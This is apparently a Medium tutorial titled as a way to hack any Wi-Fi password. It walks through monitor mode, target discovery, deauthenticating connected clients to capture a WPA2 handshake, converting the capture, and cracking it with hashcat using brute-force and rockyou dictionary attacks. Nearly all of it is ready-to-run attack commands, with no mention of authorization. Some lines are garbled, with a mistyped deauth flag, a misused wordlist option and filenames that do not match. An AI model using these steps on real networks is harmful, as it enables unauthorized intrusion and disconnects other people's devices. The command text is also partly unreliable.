Hack Any Wifi Password Using Hashcat

  • Open Authentication : As its name says an open authentication network allows user to access the resources and are not required to authenticate.
  • WPA/WPA2/WPA3 : WPA Stands for WIFI Protected Access. This types of encryption uses different types of algorythm to encrypt the transport. mainly we are using WPA/WPA2, WPA3 is not yet published in all routers.
  • WPA2-Enterprise : This methods also referred as WPA-802.1X mode, it authenticate wifi to different identity instead of single password, Mainly we see this types of authenticated routers in Airport, Railway Stations, Malls, Public Places etc.
  • Airmon-ng [To capture Handshake]
  • Hashcat [To crack Password]
# iwconfig (To search for available interface)
# iwconfig (Looking for Available interface)
# airmon-ng start wlan1
Start Monitor Mode.
Verify mode is started or not
# airodump-ng wlan1
Identifying Targets
  • BSSID : Refers to the Access Point MAC Address.
  • STATIONS : Refers to the MAC Address of Connected Devices.
# airodump-ng --bssid <BSSID> -c 3 -w CanYouSeeMe wlan1
Connected Devices
# aireplay-ng -0 0 -a <BSSID> -c <STATION> wlan1
Installation Steps : 
# git clone
https://github.com/hashcat/hashcat-utils
# cd /hashcat-utils/src
# make
# ./cap2hccapx.bin /dev/shm/CanYouSeeMe-01.cap /dev/shm/CanYouSeeMe-01.hccapx
Bruteforce Attack :
# hashcat -m 2500 -a 3 CanYouSeeMe-01.hccapx ?d?d?d?d?d?d?d?d
Dictionary Attack :
# hashcat -m 2500 -a 0 CanYouSeeMe-01.hccapx -w /usr/share/wordlist/rockyou.txt
All Comands :# iwconfig # airmon-ng start wlan1    (Start Interface to monitor Mode)

# airodump-ng wlan1 (Broadcast Nearby Wireless Routers)

# airodump-ng --bssid <BSSID> -c 7 -w Name wlan1

# aireplay-ng -0 -0 -a <BSSID> -c <STATION> wlan1

# ./cap2hccapx.bin /dev/shm/Airtel_home-01.cap /dev/shm/Airtel.hccapx [It convert .cap file to .hccapx]

# hashcat -m 2500 -a 3 CanYouSeeMe-01.hccapx ?d?d?d?d?d?d?d?d

# hashcat -m 2500 -a 0 CanYouSeeMe-01.hccapx -w /usr/share/wordlist/rockyou.txt

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store